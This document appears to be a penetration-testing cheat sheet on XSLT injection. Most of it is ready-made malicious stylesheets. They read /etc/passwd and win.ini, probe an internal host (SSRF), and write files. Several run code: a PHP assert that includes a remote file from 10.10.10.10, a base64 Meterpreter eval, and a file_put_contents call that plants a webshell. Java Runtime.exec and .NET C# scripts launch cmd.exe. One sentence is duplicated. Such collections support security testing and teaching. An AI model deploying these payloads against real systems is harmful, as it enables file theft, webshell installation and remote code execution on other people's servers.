# XSLT Injection > Processing an un-validated XSL stylesheet can allow an attacker to change the structure and contents of the resultant XML, include arbitrary files from the file system, or execute arbitrary code ## Summary - [Tools](#tools) - [Methodology](#methodology) - [Determine the vendor and version](#determine-the-vendor-and-version) - [External Entity](#external-entity) - [Read files and SSRF using document](#read-files-and-ssrf-using-document) - [Write files with EXSLT extension](#write-files-with-exslt-extension) - [Remote Code Execution with PHP wrapper](#remote-code-execution-with-php-wrapper) - [Remote Code Execution with Java](#remote-code-execution-with-java) - [Remote Code Execution with Native .NET](#remote-code-execution-with-native-net) - [Labs](#labs) - [References](#references) ## Tools No known tools currently exist to assist with XSLT exploitation. * [TODO](#) ## Methodology ### Determine the vendor and version ```xml <?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> <xsl:value-of select="system-property('xsl:vendor')"/> </xsl:template> </xsl:stylesheet> ``` ```xml <?xml version="1.0" encoding="UTF-8"?> <html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> <body> <br />Version: <xsl:value-of select="system-property('xsl:version')" /> <br />Vendor: <xsl:value-of select="system-property('xsl:vendor')" /> <br />Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /> </body> </html> ``` ### External Entity ```xml <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "C:\secretfruit.txt">]> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> Fruits &ext_file;: <!-- Loop for each fruit --> <xsl:for-each select="fruit"> <!-- Print name: description --> - <xsl:value-of select="name"/>: <xsl:value-of select="description"/> </xsl:for-each> </xsl:template> </xsl:stylesheet> ``` ### Read files and SSRF using document ```xml <?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> <xsl:copy-of select="document('http://172.16.132.1:25')"/> <xsl:copy-of select="document('/etc/passwd')"/> <xsl:copy-of select="document('file:///c:/winnt/win.ini')"/> Fruits: <!-- Loop for each fruit --> <xsl:for-each select="fruit"> <!-- Print name: description --> - <xsl:value-of select="name"/>: <xsl:value-of select="description"/> </xsl:for-each> </xsl:template> </xsl:stylesheet> ``` ### Write files with EXSLT extension EXSLT, or Extensible Stylesheet Language Transformations, is a set of extensions to the XSLT (Extensible Stylesheet Language Transformations) language. EXSLT, or Extensible Stylesheet Language Transformations, is a set of extensions to the XSLT (Extensible Stylesheet Language Transformations) language. ```xml <?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exploit="http://exslt.org/common" extension-element-prefixes="exploit" version="1.0"> <xsl:template match="/"> <exploit:document href="evil.txt" method="text"> Hello World! </exploit:document> </xsl:template> </xsl:stylesheet> ``` ### Remote Code Execution with PHP wrapper Execute the function `readfile`. ```xml <?xml version="1.0" encoding="UTF-8"?> <html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> <body> <xsl:value-of select="php:function('readfile','index.php')" /> </body> </html> ``` Execute the function `scandir`. ```xml <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0"> <xsl:template match="/"> <xsl:value-of name="assert" select="php:function('scandir', '.')"/> </xsl:template> </xsl:stylesheet> ``` Execute a remote php file using `assert` ```xml <?xml version="1.0" encoding="UTF-8"?> <html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> <body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE"> <xsl:variable name="payload"> include("http://10.10.10.10/test.php") </xsl:variable> <xsl:variable name="include" select="php:function('assert',$payload)"/> </body> </html> ``` Execute a PHP meterpreter using PHP wrapper. ```xml <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0"> <xsl:template match="/"> <xsl:variable name="eval"> eval(base64_decode('Base64-encoded Meterpreter code')) </xsl:variable> <xsl:variable name="preg" select="php:function('preg_replace', '/.*/e', $eval, '')"/> </xsl:template> </xsl:stylesheet> ``` Execute a remote php file using `file_put_contents` ```xml <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0"> <xsl:template match="/"> <xsl:value-of select="php:function('file_put_contents','/var/www/webshell.php','<?php echo system($_GET["command"]); ?>')" /> </xsl:template> </xsl:stylesheet> ``` ### Remote Code Execution with Java ```xml <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"> <xsl:template match="/"> <xsl:variable name="rtobject" select="rt:getRuntime()"/> <xsl:variable name="process" select="rt:exec($rtobject,'ls')"/> <xsl:variable name="processString" select="ob:toString($process)"/> <xsl:value-of select="$processString"/> </xsl:template> </xsl:stylesheet> ``` ```xml <xml version="1.0"?> <xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="http://saxon.sf.net/java-type"> <xsl:template match="/"> <xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'cmd.exe /C ping IP')" xmlns:Runtime="java:java.lang.Runtime"/> </xsl:template>. </xsl:stylesheet> ``` ### Remote Code Execution with Native .NET ```xml <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:App="http://www.tempuri.org/App"> <msxsl:script implements-prefix="App" language="C#"> <![CDATA[ public string ToShortDateString(string date) { System.Diagnostics.Process.Start("cmd.exe"); return "01/01/2001"; } ]]> </msxsl:script> <xsl:template match="ArrayOfTest"> <TABLE> <xsl:for-each select="Test"> <TR> <TD> <xsl:value-of select="App:ToShortDateString(TestDate)" /> </TD> </TR> </xsl:for-each> </TABLE> </xsl:template> </xsl:stylesheet> ``` ```xml <?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="urn:my-scripts"> <msxsl:script language = "C#" implements-prefix = "user"> <![CDATA[ public string execute(){ System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName= "C:\\windows\\system32\\cmd.exe"; proc.StartInfo.RedirectStandardOutput = true; proc.StartInfo.UseShellExecute = false; proc.StartInfo.Arguments = "/c dir"; proc.Start(); proc.WaitForExit(); return proc.StandardOutput.ReadToEnd(); } ]]> </msxsl:script> <xsl:template match="/fruits"> --- BEGIN COMMAND OUTPUT --- <xsl:value-of select="user:execute()"/> --- END COMMAND OUTPUT --- </xsl:template> </xsl:stylesheet> ``` ## Labs - [Root Me - XSLT - Code execution](https://www.root-me.org/en/Challenges/Web-Server/XSLT-Code-execution) ## References - [From XSLT code execution to Meterpreter shells - Nicolas Grégoire (@agarri) - July 2, 2012](https://www.agarri.fr/blog/archives/2012/07/02/from_xslt_code_execution_to_meterpreter_shells/index.html) - [XSLT Injection - Fortify - January 16, 2021](http://web.archive.org/web/20210116001237/https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection) - [XSLT Injection Basics - Saxon - Hunnic Cyber Team - August 21, 2019](http://web.archive.org/web/20190821174700/https://blog.hunniccyber.com/ektron-cms-remote-code-execution-xslt-transform-injection-java/) - [Getting XXE in Web Browsers using ChatGPT - Igor Sak-Sakovskiy - May 22, 2024](https://swarm.ptsecurity.com/xxe-chrome-safari-chatgpt/) - [XSLT injection lead to file creation - PT SWARM (@ptswarm) - May 30, 2024](https://twitter.com/ptswarm/status/1796162911108255974/photo/1)